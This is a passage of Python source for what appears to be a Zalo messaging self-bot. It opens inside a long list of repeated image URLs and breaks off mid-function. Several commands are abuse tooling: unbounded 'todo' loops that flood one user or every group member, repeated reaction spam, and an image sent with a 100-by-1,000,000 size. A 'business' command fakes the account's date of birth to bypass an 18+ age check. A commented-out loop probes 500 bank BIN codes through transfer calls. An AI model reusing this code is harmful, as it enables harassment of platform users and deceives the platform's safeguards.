"https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg"], thread_id=thread_id, thread_type=thread_type, ttl=600000)))
		elif message == self.prefix + "#":
			if author_id not in self.selfid:
				return
			pin, password = self.randomPin()
			print(self.setPassWord(pin))
			print(self.hiddenConvers(thread_id, thread_type))
			print(self.muteChat(thread_id=thread_id, thread_type=thread_type))
			self.replyMessage(Message(text=password), message_object, thread_id=thread_id, thread_type=thread_type, ttl=5000)
			print(self.settingUpdate(add_friend_via_qr=0))
			print(self.settingUpdate(add_friend_via_group=0))
			print(self.settingUpdate(add_friend_via_contact=0))
			print(self.settingUpdate(display_on_recommend_friend=0))
			print(self.settingUpdate(add_friend_via_phone=0))
			print(self.settingUpdate(receive_message=1))
			print(self.settingUpdate(accept_stranger_call=2))
		elif message == self.prefix + "beta":
			if author_id not in self.selfid:
				return
			groupIds = self.fetchAllGroups().gridVerMap.keys()
			for i in groupIds:
				print(self.muteChat(thread_id=i, thread_type=thread_type))
				print(self.archivedChat(i))


			# print(self.muteChat(thread_id=thread_id, thread_type=thread_type))
			# self.send(message=Message(text=str(self.muteChat(thread_id=thread_id, thread_type=thread_type))), thread_id=thread_id, thread_type=thread_type)
		# elif message == self.prefix + "cf":
			# cc = "-> Give me a python file <-\n\n>> Lưu ý phải là code gốc! Nếu là file code đã bị mã hóa, chúng tôi sẽ không đảm bảo sự an toàn cho bạn! <<\n> We do not collect your data <"
			# self.send(Message(text=str(cc)), thread_id=thread_id, thread_type=thread_type)
			# self.next_step[author_id] = "waiting_for_file"
		# elif message == self.prefix + "tes":
			# if author_id not in self.selfid:
				# return

			# binBank = []
			# binbank = 970000
			# for i in range(500):
				# cc = self.SendTransferCard(thread_id=thread_id, thread_type=thread_type, numAccBank='50021223384', nameAccBank='tiền của bạn là tiền của tôi', binBank=binbank)
				# binbank += 1
				# if cc.error_code == 0:
					# binBank.append(binbank)
			# self.send(Message(text=str(binBank)), thread_id=thread_id, thread_type=thread_type) 
		elif message == self.prefix + "prx":
			# if author_id not in self.selfid:
				# return

			cc = "-> Give me a txt file <-\n\n>> Lưu ý phải là FILE CHỨA PROXY! <<\n> We do not collect your data <"
			self.send(Message(text=str(cc)), thread_id=thread_id, thread_type=thread_type, ttl=60000)
			self.proxy.append(author_id)
		elif message == self.prefix + "business":
			if author_id not in self.selfid:
				return
			lon = upBusiness(self.getSession())
			if lon == "Nâng cấp gói zBusiness không thành công: Chỉ có thể đăng ký khi đủ 18 tuổi.":
				# print(lon)
				clm = self.fetchAccountInfo()
				# print(clm)
				dob = ensure_18_dob(clm.profile['sdob']).replace("/", "-")
				# print(dob)
				self.changeAccountSetting(name=clm.profile['displayName'], dob=dob, gender=clm.profile['gender'])
				lon = upBusiness(self.getSession())
				self.changeAccountSetting(name=clm.profile['displayName'], dob=clm.profile['sdob'], gender=clm.profile['gender'])
				# print(lon)
			
			self.replyMessage(Message(text=str(lon), style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])), message_object, thread_id=thread_id, thread_type=thread_type)

		elif message == self.prefix + "restart":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			self.replyMessage(Message(text="Đang restart bot..", style=style_error), message_object, thread_id=thread_id, thread_type=thread_type)
			os.execv(sys.executable, ['python'] + sys.argv)

		elif message == self.prefix + "kill":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			self.replyMessage(Message(text="Bot đã dead", style=style_error), message_object, thread_id=thread_id, thread_type=thread_type)
			pid = os.getpid()
			os.system(f'kill -9 {pid}')
		elif message.startswith(self.prefix + "status"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			group = self.fetchGroupInfo(thread_id)
			group_info = group.gridInfoMap[thread_id]
			groupName = group_info['name']
			mem_ver_list = group_info['memVerList']
			cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
			tongmem = len(cleaned_list)
			buoi = {}
			for i in range(0, tongmem, 500):
				batch = cleaned_list[i:i + 500]
				info = self.fetchUserInfo(batch)
				buoi.update(info.changed_profiles)
			lon = buoi.values()
			vhh = 0
			banned = 0
			shutdown = 0
			good = 0
			for i in lon:
				status = i.get("accountStatus")
				if status == 0:
					good += 1
				elif status == 1:
					vhh += 1
				elif status == 2:
					banned += 1
				elif status == 3:
					shutdown += 1

			self.replyMessage(Message(text=f"Kết Quả Kiểm Tra Của Group {groupName}:\n\n• Tổng Số Thành Viên: {tongmem}\n• Good: {good}\n• Vô Hiệu Hoá: {vhh}\n• Banned: {banned}\n• Tạm Ngưng Hoạt Động: {shutdown}", style=style_error), message_object, thread_id, thread_type, ttl=60000)
			# print(self.fetchUserInfo(cleaned_list[:500]))
		elif message.startswith(self.prefix + "todo"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if message.startswith(self.prefix + "todo user"):
				if message_object.mentions:
					user_id = message_object.mentions[0]['uid']
					info = self.fetchUserInfo(user_id)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(user_id)]      
					userName = info.zaloName
					content = message.replace(self.prefix + f"todo user @{userName}", "").strip()
					if user_id == "-1":
						self.replyMessage(Message(text="Không hỗ trợ spam todo all user", style=style_error), message_object, thread_id, thread_type)
						return
					if content.lower() == "auto":
						with open('noidung.txt', 'r') as file:
							danh_sach = file.readlines()
							danh_sach = [line.strip() for line in danh_sach]
						self.todoo = "spam"
						self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung được lấy trong file noidung.txt", style=style_error), message_object, thread_id, thread_type)
						for i in danh_sach:
							self.todo(userId=str(user_id), content=str(i), thread_id=str(user_id), thread_type=ThreadType.USER)
							if self.todoo == "stop":
								return
					else:
						self.todoo = "spam"
						self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung '{content}'", style=style_error), message_object, thread_id, thread_type)
						cc = self.todo_nochat(userId=str(user_id), content=str(content), thread_id=str(user_id), thread_type=ThreadType.USER).id

						while self.todoo != "stop":
							if self.todoo == "stop":
								break
							self.todoStatus(taskId=cc, status=1)
							self.todoStatus(taskId=cc, status=0)



				elif message[11:].strip():
					user_id = message[11:].strip()
					space_index = user_id.find(" ")
					user_id = user_id[:space_index] if space_index != -1 else user_id
					content = message.replace(self.prefix + f"todo user {user_id}", "").strip()
					if content.lower() == "auto":
						with open('noidung.txt', 'r') as file:
							danh_sach = file.readlines()
							danh_sach = [line.strip() for line in danh_sach]
						self.todoo = "spam"
						self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung được lấy trong file noidung.txt", style=style_error), message_object, thread_id, thread_type)
						for i in danh_sach:
							self.todo(userId=str(user_id), content=str(i), thread_id=str(user_id), thread_type=ThreadType.USER)
							if self.todoo == "stop":
								return
					else:
						self.todoo = "spam"
						self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung '{content}'", style=style_error), message_object, thread_id, thread_type)
						cc = self.todo_nochat(userId=str(user_id), content=str(content), thread_id=str(user_id), thread_type=ThreadType.USER).id

						while self.todoo != "stop":
							if self.todoo == "stop":
								break
							self.todoStatus(taskId=cc, status=1)
							self.todoStatus(taskId=cc, status=0)


				else:
					self.replyMessage(Message(text="Đéo thấy thằng nào bị tag và đéo thấy id thằng nào", style=style_error), message_object, thread_id, thread_type)
					return
			elif message.startswith(self.prefix + f"todo group"):
				if message_object.mentions:
					user_id = message_object.mentions[0]['uid']
					info = self.fetchUserInfo(user_id)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(user_id)]      
					userName = info.zaloName

					content = message.replace(self.prefix + f"todo group @{userName}", "").strip()
					if user_id == "-1":
						self.replyMessage(Message(text="Không hỗ trợ spam todo all user", style=style_error), message_object, thread_id, thread_type)
						return
					if content.lower() == "auto":
						with open('noidung.txt', 'r') as file:
							danh_sach = file.readlines()
							danh_sach = [line.strip() for line in danh_sach]
						self.todoo = "spam"
						self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung được lấy trong file noidung.txt", style=style_error), message_object, thread_id, thread_type)
						cc = self.todo_nochat(userId=str(user_id), content=str(i), thread_id=thread_id, thread_type=ThreadType.GROUP).id

						for i in danh_sach:
							if self.todoo == "stop":
								return
							self.todoStatus(taskId=cc, status=1)
							self.todoStatus(taskId=cc, status=0)

					else: 
						self.todoo = "spam"
						self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung '{content}'", style=style_error), message_object, thread_id, thread_type)
						cc = self.todo_nochat(userId=str(user_id), content=str(content), thread_id=thread_id, thread_type=ThreadType.GROUP).id

						while self.todoo != "stop":
							if self.todoo == "stop":
								break
							self.todoStatus(taskId=cc, status=1)
							self.todoStatus(taskId=cc, status=0)

				elif message[12:].strip():
					user_id = message[12:].strip()
					space_index = user_id.find(" ")
					user_id = user_id[:space_index] if space_index != -1 else user_id

					if user_id.lower() == "all":
						content = message[16:].strip()
						if content.lower() == "auto":
							with open('noidung.txt', 'r') as file:
								danh_sach = file.readlines()
								danh_sach = [line.strip() for line in danh_sach]
							self.todoo = "spam"
							self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung được lấy trong file noidung.txt", style=style_error), message_object, thread_id, thread_type)
							group = self.fetchGroupInfo(thread_id)
							group_info = group.gridInfoMap[thread_id]      
							mem_ver_list = group_info['memVerList']
							cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
							for i in danh_sach:
								for cc in cleaned_list:
									self.todo(userId=str(cc), content=str(i), thread_id=thread_id, thread_type=ThreadType.GROUP)
									if self.todoo == "stop":
										return
						else:
							group = self.fetchGroupInfo(thread_id)
							group_info = group.gridInfoMap[thread_id]      
							mem_ver_list = group_info['memVerList']
							cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
							self.todoo = "spam"
							self.replyMessage(Message(text=f"Đang spam todo với '{user_id}' nội dung '{content}'", style=style_error), message_object, thread_id, thread_type)

							while self.todoo != "stop":
								for cc in cleaned_list:
									self.todo(userId=str(cc), content=str(content), thread_id=thread_id, thread_type=ThreadType.GROUP)
									if self.todoo == "stop":
										break
										return
					else:
						content = message.replace(self.prefix + f"todo group {user_id}", "").strip()
						if content.lower() == "auto":
							with open('noidung.txt', 'r') as file:
								danh_sach = file.readlines()
								danh_sach = [line.strip() for line in danh_sach]
							self.todoo = "spam"
							self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung được lấy trong file noidung.txt", style=style_error), message_object, thread_id, thread_type)
							cc = self.todo_nochat(userId=str(user_id), content=str(danh_sach[0]), thread_id=thread_id, thread_type=ThreadType.GROUP).id

							while self.todoo != 'stop':
								if self.todoo == "stop":
									return
								self.todoStatus(taskId=cc, status=1)
								self.todoStatus(taskId=cc, status=0)

						else:
							self.todoo = "spam"
							self.replyMessage(Message(text=f"Đang spam todo với userId '{user_id}' nội dung '{content}'", style=style_error), message_object, thread_id, thread_type)
							cc = self.todo_nochat(userId=str(user_id), content=str(content), thread_id=thread_id, thread_type=ThreadType.GROUP).id

							while self.todoo != "stop":
								if self.todoo == "stop":
									break
								self.todoStatus(taskId=cc, status=1)
								self.todoStatus(taskId=cc, status=0)

				else:
					self.replyMessage(Message(text="Đéo thấy thằng nào bị tag và đéo thấy id thằng nào", style=style_error), message_object, thread_id, thread_type)
					return
			else:
				self.replyMessage(Message(text=f"Không tìm thấy lệnh '{message}' vui lòng thử {self.prefix}todo <user | group> <@mention | uid | all> <content | auto>", style=style_error), message_object, thread_id, thread_type)

		elif message == self.prefix + f"stodo":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if self.todoo != "stop":
				self.todoo = "stop"
				self.replyMessage(Message(text="Đã stop spam todo", style=style_error), message_object, thread_id, thread_type)
			else:
				self.replyMessage(Message(text="Không có luồn todo nào đang hoạt động", style=style_error), message_object, thread_id, thread_type)
		elif message.startswith(self.prefix + f"link"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			link = message.replace(self.prefix + f"link", "").strip()
			while True:
				data = self.renewLinkGroup(thread_id).link
				print(data)
				if link in data:
					self.replyMessage(Message(text=data), message_object, thread_id, thread_type)
					break
		elif message.startswith(self.prefix + f"img"):
			noidungga = message.replace(self.prefix + f"img", "").strip()
			print(self.sendImage(imagelink=noidungga, thread_id=thread_id, thread_type=thread_type))

		elif message == "@#":
			if author_id not in self.selfid:
				return

			width, height = 100, 100_0000
			self.sendImage(imagelink='https://f27-zfcloud.zdn.vn/512352a888e229bc70f3/3203464912244520753', thread_id=thread_id, thread_type=thread_type, width=width, height=height)
		elif message == ".fj":
			# 6481070112325
			self.request_old_messages(thread_type=thread_type, last_msg_id="6481070112325")
		elif message == self.prefix + f"check":
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return

			noidung = "Thông tin group:\n"
			sonhom = 1
			group_info_list = []
			styles = MessageStyle(style="font", size="13", offset=0, length=3000)
			infgr = self.fetchAllGroups()
			# print(infgr)
			grid_ver_map = list(infgr.gridVerMap.keys())
			# print(grid_ver_map)
			# infgr = 
			for i in grid_ver_map:
				ccldid = self.fetchGroupInfo(i)
				group_info = ccldid['gridInfoMap'][i]
				# print(group_info)
				group_id = group_info['groupId']
				name = group_info['name']
				creatorId = group_info['creatorId']
				adminIds = group_info['adminIds']
				mem_ver_list_count = len(group_info['memVerList'])
				members = list(group_info['memVerList'])
				members = [member.replace('_0', '') for member in members]
				group_info_list.append({'name': name, 'memVerListCount': mem_ver_list_count, 'creatorId': creatorId, 'adminIds': adminIds, 'id': group_id})
			for info in group_info_list:
				if info['creatorId'] == self.uid:
					status = "Bạn là admin của nhóm này"
				elif self.uid in info['adminIds']:
					status = "Bạn có key trong nhóm này"
				else:
					status = "Bạn chỉ là member trong nhóm này"

				link = self.fetchLinkGroup(info['id'])
				noidung += f"Nhóm {sonhom}:\n• Tên nhóm: {info['name']}\n• Số lượng thành viên: {info['memVerListCount']}\n• {status}\n• Link: {link.link}\n• Uid: {info['id']}\n"
				sonhom += 1

			while len(noidung) > 0:
				if len(noidung) > 2600:
					last_space = noidung[:2600].rfind('Nhóm')
					if last_space == -1:
						chunk = noidung[:2600]
						noidung = noidung[2600:]
					else:
						chunk = noidung[:last_space]
						noidung = noidung[last_space:]
				else:
					chunk = noidung
					noidung = ""
				self.replyMessage(Message(text=str(chunk), style=styles), message_object, thread_id, thread_type)
		elif message == self.prefix + "()()sl":
			idx = 0
			
			# self.sendMultiReaction(reactionObj=reaction_data, reactionIcon=i, thread_id=thread_id, thread_type=thread_type, reactionType=75)

			for count in range(30, 0, -1):  
				# time.sleep(1)
				# self.sendReaction(messageObject=message_object, reactionIcon="⏱️", thread_id=thread_id, thread_type=thread_type, reactionType=-1)
				reaction_data = [
					{
						"gMsgID": int(message_object.get('msgId', 0)),
						"cMsgID": int(message_object.get('cliMsgId', 0)),
						"msgType": message_object.get('msgType', 31)
					}
					for _ in range(count)
				]
				self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="⏱️", thread_id=thread_id, thread_type=thread_type, reactionType=75)
				time.sleep(1)
				self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="⏱️", thread_id=thread_id, thread_type=thread_type, reactionType=-1)
		elif message.startswith(self.prefix + "group"):
			admins = self.db.fetch_admins(thread_id)
			cmd_parts = message[len(self.prefix):].lower().split()
			resp = []
			if author_id not in admins and author_id not in self.selfid:
				noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
				style_error = MultiMsgStyle([
					MessageStyle(offset=0, length=len(noquyen), style="font", size="13", auto_format=False),
					MessageStyle(offset=0, length=len(noquyen), style="color", color="#cdd6f4", auto_format=False)
				])
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return

			def suggest_features(input_feat):
